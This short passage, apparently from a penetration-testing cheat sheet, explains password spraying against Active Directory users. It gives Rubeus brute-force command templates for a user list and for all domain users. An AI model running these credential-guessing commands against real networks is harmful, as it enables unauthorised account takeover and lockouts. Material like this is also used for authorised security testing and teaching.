Once you have found several valid usernames you can try the most common passwords (keep in mind the password policy of the environment) with each of the discovered users.
By default the minimumpasswordlength is 7.
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>